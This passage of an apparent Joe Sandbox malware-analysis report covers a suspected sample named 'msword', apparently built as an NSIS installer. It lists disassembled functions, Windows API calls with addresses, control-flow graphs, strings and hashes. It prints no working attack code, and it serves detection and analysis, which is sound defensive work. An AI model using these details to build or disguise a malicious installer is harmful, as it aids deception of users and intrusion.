SetClipboardData CloseClipboard 52->53 53->30 54->47
                                  APIs
                                  • GetDlgItem.USER32(?,00000403), ref: 0040515B
                                  • GetDlgItem.USER32(?,000003EE), ref: 0040516A
                                  • GetClientRect.USER32(?,?), ref: 004051C2
                                  • GetSystemMetrics.USER32(00000015), ref: 004051CA
                                  • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
                                  • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
                                  • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
                                  • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
                                  • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
                                  • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
                                  • ShowWindow.USER32(?,00000008), ref: 00405266
                                  • GetDlgItem.USER32(?,000003EC), ref: 00405287
                                  • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
                                  • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
                                  • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
                                  • GetDlgItem.USER32(?,000003F8), ref: 00405179
                                    • Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2
                                    • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004283D1,74DF23A0,00000000), ref: 00406902
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  • GetDlgItem.USER32(?,000003EC), ref: 004052D7
                                  • CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
                                  • CloseHandle.KERNELBASE(00000000), ref: 004052EC
                                  • ShowWindow.USER32(00000000), ref: 00405313
                                  • ShowWindow.USER32(?,00000008), ref: 00405318
                                  • ShowWindow.USER32(00000008), ref: 0040535F
                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
                                  • CreatePopupMenu.USER32 ref: 004053A2
                                  • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
                                  • GetWindowRect.USER32(?,?), ref: 004053CA
                                  • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
                                  • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
                                  • OpenClipboard.USER32(00000000), ref: 00405437
                                  • EmptyClipboard.USER32 ref: 0040543D
                                  • GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
                                  • GlobalLock.KERNEL32(00000000), ref: 00405453
                                  • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
                                  • GlobalUnlock.KERNEL32(00000000), ref: 00405489
                                  • SetClipboardData.USER32(0000000D,00000000), ref: 00405494
                                  • CloseClipboard.USER32 ref: 0040549A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
                                  • String ID: New install of "%s" to "%s"${
                                  • API String ID: 2110491804-1641061399
                                  • Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
                                  • Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
                                  • Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
                                  • Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58
                                  Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304filestringcomCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 202 4038af-403945 #17 SetErrorMode OleInitialize call 406328 SHGetFileInfoW call 406035 GetCommandLineW call 406035 GetModuleHandleW 209 403947-40394a 202->209 210 40394f-403963 call 405d32 CharNextW 202->210 209->210 213 4039f6-4039fc 210->213 214 403a02 213->214 215 403968-40396e 213->215 216 403a21-403a39 GetTempPathW call 4037f8 214->216 217 403970-403976 215->217 218 403978-40397c 215->218 228 403a3b-403a59 GetWindowsDirectoryW lstrcatW call 4037f8 216->228 229 403a5f-403a79 DeleteFileW call 4035b3 216->229 217->217 217->218 219 403984-403988 218->219 220 40397e-403983 218->220 222 4039e4-4039f1 call 405d32 219->222 223 40398a-403991 219->223 220->219 222->213 237 4039f3 222->237 226 403993-40399a 223->226 227 4039a6-4039b8 call 40382c 223->227 232 4039a1 226->232 233 40399c-40399f 226->233 242 4039ba-4039c1 227->242 243 4039cd-4039e2 call 40382c 227->243 228->229 240 403af8-403b07 call 403885 CoUninitialize 228->240 229->240 241 403a7b-403a81 229->241 232->227 233->227 233->232 237->213 257 403bfa-403c00 240->257 258 403b0d-403b1d call 405ccc ExitProcess 240->258 244 403ae1-403ae8 call 405958 241->244 245 403a83-403a8c call 405d32 241->245 247 4039c3-4039c6 242->247 248 4039c8 242->248 243->222 254 403a04-403a1c call 40824c call 406035 243->254 256 403aed-403af3 call 406113 244->256 260 403aa5-403aa7 245->260 247->243 247->248 248->243 254->216 256->240 262 403c02-403c1f call 406328 * 3 257->262 263 403c7d-403c85 257->263 267 403aa9-403ab3 260->267 268 403a8e-403aa0 call 40382c 260->268 293 403c21-403c23 262->293 294 403c69-403c74 ExitWindowsEx 262->294 269 403c87 263->269 270 403c8b 263->270 275 403b23-403b3d lstrcatW lstrcmpiW 267->275 276 403ab5-403ac5 call 4067aa 267->276 268->267 283 403aa2 268->283 269->270 275->240 277 403b3f-403b55 CreateDirectoryW SetCurrentDirectoryW 275->277 276->240 286 403ac7-403add call 406035 * 2 276->286 281 403b62-403b82 call 406035 * 2 277->281 282 403b57-403b5d call 406035 277->282 303 403b87-403ba3 call 406831 DeleteFileW 281->303 282->281 283->260 286->244 293->294 297 403c25-403c27 293->297 294->263 300 403c76-403c78 call 40141d 294->300 297->294 301 403c29-403c3b GetCurrentProcess 297->301 300->263 301->294 308 403c3d-403c5f 301->308 309 403be4-403bec 303->309 310 403ba5-403bb5 CopyFileW 303->310 308->294 309->303 311 403bee-403bf5 call 406c94 309->311 310->309 312 403bb7-403bd7 call 406c94 call 406831 call 405c6b 310->312 311->240 312->309 322 403bd9-403be0 CloseHandle 312->322 322->309
                                  APIs
                                  • #17.COMCTL32 ref: 004038CE
                                  • SetErrorMode.KERNELBASE(00008001), ref: 004038D9
                                  • OleInitialize.OLE32(00000000), ref: 004038E0
                                    • Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
                                    • Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
                                    • Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353
                                  • SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908
                                    • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                  • GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
                                  • GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
                                  • CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
                                  • GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
                                  • GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
                                  • lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
                                  • DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
                                  • CoUninitialize.COMBASE(?), ref: 00403AFD
                                  • ExitProcess.KERNEL32 ref: 00403B1D
                                  • lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
                                  • lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
                                  • CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
                                  • SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
                                  • DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
                                  • CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
                                  • CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
                                  • GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
                                  • ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
                                  • String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
                                  • API String ID: 2435955865-3712954417
                                  • Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
                                  • Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
                                  • Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
                                  • Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE
                                  Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 825 406301-406315 FindFirstFileW 826 406322 825->826 827 406317-406320 FindClose 825->827 828 406324-406325 826->828 827->828
                                  APIs
                                  • FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
                                  • FindClose.KERNEL32(00000000), ref: 00406318
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Find$CloseFileFirst
                                  • String ID: jF
                                  • API String ID: 2295610775-3349280890
                                  • Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
                                  • Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
                                  • Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
                                  • Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED
                                  Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
                                  • LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
                                  • GetProcAddress.KERNEL32(00000000), ref: 00406353
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: AddressHandleLibraryLoadModuleProc
                                  • String ID:
                                  • API String ID: 310444273-0
                                  • Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
                                  • Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
                                  • Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
                                  • Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC
                                  Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351sleepfilewindowCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 56 4015a0-4015f4 57 4030e3-4030ec 56->57 58 4015fa 56->58 86 4030ee-4030f2 57->86 60 401601-401611 call 4062cf 58->60 61 401742-40174f 58->61 62 401962-40197d call 40145c GetFullPathNameW 58->62 63 4019ca-4019e6 call 40145c SearchPathW 58->63 64 40176e-401794 call 40145c call 4062cf SetFileAttributesW 58->64 65 401650-40166d call 40137e call 4062cf call 40139d 58->65 66 4017b1-4017d8 call 40145c call 4062cf call 405d85 58->66 67 401672-401686 call 40145c call 4062cf 58->67 68 401693-4016ac call 401446 call 4062cf 58->68 69 401715-401731 58->69 70 401616-40162d call 40145c call 4062cf call 404f9e 58->70 71 4016d6-4016db 58->71 72 401736-40173d 58->72 73 401897-4018a7 call 40145c call 406301 58->73 74 4018db-401910 call 40145c * 3 call 4062cf MoveFileW 58->74 75 40163c-401645 58->75 76 4016bd-4016d1 call 4062cf SetForegroundWindow 58->76 60->86 77 401751-401755 ShowWindow 61->77 78 401758-40175f 61->78 117 4019a3-4019a8 62->117 118 40197f-401984 62->118 63->57 123 4019ec-4019f8 63->123 64->57 136 40179a-4017a6 call 4062cf 64->136 65->86 160 401864-40186c 66->160 161 4017de-4017fc call 405d32 CreateDirectoryW 66->161 137 401689-40168e call 404f9e 67->137 142 4016b1-4016b8 Sleep 68->142 143 4016ae-4016b0 68->143 69->86 94 401632-401637 70->94 92 401702-401710 71->92 93 4016dd-4016fd call 401446 71->93 96 4030dd-4030de 72->96 138 4018c2-4018d6 call 4062cf 73->138 139 4018a9-4018bd call 4062cf 73->139 172 401912-401919 74->172 173 40191e-401921 74->173 75->94 95 401647-40164e PostQuitMessage 75->95 76->57 77->78 78->57 99 401765-401769 ShowWindow 78->99 92->57 93->57 94->86 95->94 96->57 113 4030de call 405f7d 96->113 99->57 113->57 130 4019af-4019b2 117->130 129 401986-401989 118->129 118->130 123->57 123->96 129->130 140 40198b-401993 call 406301 129->140 130->57 144 4019b8-4019c5 GetShortPathNameW 130->144 155 4017ab-4017ac 136->155 137->57 138->86 139->86 140->117 165 401995-4019a1 call 406035 140->165 142->57 143->142 144->57 155->57 163 401890-401892 160->163 164 40186e-40188b call 404f9e call 406035 SetCurrentDirectoryW 160->164 176 401846-40184e call 4062cf 161->176 177 4017fe-401809 GetLastError 161->177 163->137 164->57 165->130 172->137 178 401923-40192b call 406301 173->178 179 40194a-401950 173->179 192 401853-401854 176->192 182 401827-401832 GetFileAttributesW 177->182 183 40180b-401825 GetLastError call 4062cf 177->183 178->179 193 40192d-401948 call 406c94 call 404f9e 178->193 181 401957-40195d call 4062cf 179->181 181->155 190 401834-401844 call 4062cf 182->190 191 401855-40185e 182->191 183->191 190->192 191->160 191->161 192->191 193->181
                                  APIs
                                  • PostQuitMessage.USER32(00000000), ref: 00401648
                                  • Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
                                  • SetForegroundWindow.USER32(?), ref: 004016CB
                                  • ShowWindow.USER32(?), ref: 00401753
                                  • ShowWindow.USER32(?), ref: 00401767
                                  • SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
                                  • CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
                                  • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
                                  • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
                                  • GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
                                  • SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
                                  • MoveFileW.KERNEL32(00000000,?), ref: 00401908
                                  • GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
                                  • GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
                                  • SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE
                                  Strings
                                  • Aborting: "%s", xrefs: 0040161D
                                  • SetFileAttributes: "%s":%08X, xrefs: 0040177B
                                  • Jump: %d, xrefs: 00401602
                                  • Rename failed: %s, xrefs: 0040194B
                                  • Rename on reboot: %s, xrefs: 00401943
                                  • CreateDirectory: "%s" (%d), xrefs: 004017BF
                                  • detailprint: %s, xrefs: 00401679
                                  • BringToFront, xrefs: 004016BD
                                  • CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
                                  • CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
                                  • SetFileAttributes failed., xrefs: 004017A1
                                  • IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
                                  • IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
                                  • Rename: %s, xrefs: 004018F8
                                  • Sleep(%d), xrefs: 0040169D
                                  • Call: %d, xrefs: 0040165A
                                  • CreateDirectory: "%s" created, xrefs: 00401849
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
                                  • String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
                                  • API String ID: 2872004960-3619442763
                                  • Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
                                  • Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
                                  • Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
                                  • Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D
                                  Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 323 4054a5-4054b7 324 4055f9-405608 323->324 325 4054bd-4054c3 323->325 327 405657-40566c 324->327 328 40560a-405652 GetDlgItem * 2 call 403d6b SetClassLongW call 40141d 324->328 325->324 326 4054c9-4054d2 325->326 331 4054d4-4054e1 SetWindowPos 326->331 332 4054e7-4054ea 326->332 329 4056ac-4056b1 call 403ddb 327->329 330 40566e-405671 327->330 328->327 342 4056b6-4056d1 329->342 334 405673-40567e call 40139d 330->334 335 4056a4-4056a6 330->335 331->332 337 405504-40550a 332->337 338 4054ec-4054fe ShowWindow 332->338 334->335 356 405680-40569f SendMessageW 334->356 335->329 341 40594c 335->341 343 405526-405529 337->343 344 40550c-405521 DestroyWindow 337->344 338->337 351 40594e-405955 341->351 349 4056d3-4056d5 call 40141d 342->349 350 4056da-4056e0 342->350 346 40552b-405537 SetWindowLongW 343->346 347 40553c-405542 343->347 352 405929-40592f 344->352 346->351 354 4055e5-4055f4 call 403df6 347->354 355 405548-405559 GetDlgItem 347->355 349->350 359 4056e6-4056f1 350->359 360 40590a-405923 DestroyWindow KiUserCallbackDispatcher 350->360 352->341 357 405931-405937 352->357 354->351 361 405578-40557b 355->361 362 40555b-405572 SendMessageW IsWindowEnabled 355->362 356->351 357->341 364 405939-405942 ShowWindow 357->364 359->360 365 4056f7-405744 call 406831 call 403d6b * 3 GetDlgItem 359->365 360->352 366 405580-405583 361->366 367 40557d-40557e 361->367 362->341 362->361 364->341 393 405746-40574c 365->393 394 40574f-40578b ShowWindow KiUserCallbackDispatcher call 403db1 EnableWindow 365->394 372 405591-405596 366->372 373 405585-40558b 366->373 371 4055ae-4055b3 call 403d44 367->371 371->354 376 4055cc-4055df SendMessageW 372->376 378 405598-40559e 372->378 373->376 377 40558d-40558f 373->377 376->354 377->371 381 4055a0-4055a6 call 40141d 378->381 382 4055b5-4055be call 40141d 378->382 391 4055ac 381->391 382->354 390 4055c0-4055ca 382->390 390->391 391->371 393->394 397 405790 394->397 398 40578d-40578e 394->398 399 405792-4057c0 GetSystemMenu EnableMenuItem SendMessageW 397->399 398->399 400 4057c2-4057d3 SendMessageW 399->400 401 4057d5 399->401 402 4057db-405819 call 403dc4 call 406035 lstrlenW call 406831 SetWindowTextW call 40139d 400->402 401->402 402->342 411 40581f-405821 402->411 411->342 412 405827-40582b 411->412 413 40584a-40585e DestroyWindow 412->413 414 40582d-405833 412->414 413->352 416 405864-405891 CreateDialogParamW 413->416 414->341 415 405839-40583f 414->415 415->342 418 405845 415->418 416->352 417 405897-4058ee call 403d6b GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 40139d 416->417 417->341 423 4058f0-405903 ShowWindow call 403ddb 417->423 418->341 425 405908 423->425 425->352
                                  APIs
                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
                                  • ShowWindow.USER32(?), ref: 004054FE
                                  • DestroyWindow.USER32 ref: 00405512
                                  • SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
                                  • GetDlgItem.USER32(?,?), ref: 0040554F
                                  • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
                                  • IsWindowEnabled.USER32(00000000), ref: 0040556A
                                  • GetDlgItem.USER32(?,00000001), ref: 00405619
                                  • GetDlgItem.USER32(?,00000002), ref: 00405623
                                  • SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
                                  • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
                                  • GetDlgItem.USER32(?,00000003), ref: 00405734
                                  • ShowWindow.USER32(00000000,?), ref: 00405756
                                  • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
                                  • EnableWindow.USER32(?,?), ref: 00405783
                                  • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
                                  • EnableMenuItem.USER32(00000000), ref: 004057A0
                                  • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
                                  • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
                                  • lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
                                  • SetWindowTextW.USER32(?,00451D98), ref: 00405808
                                  • ShowWindow.USER32(?,0000000A), ref: 0040593C
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                  • String ID:
                                  • API String ID: 3282139019-0
                                  • Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
                                  • Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
                                  • Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
                                  • Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E
                                  Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233stringregistrylibraryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

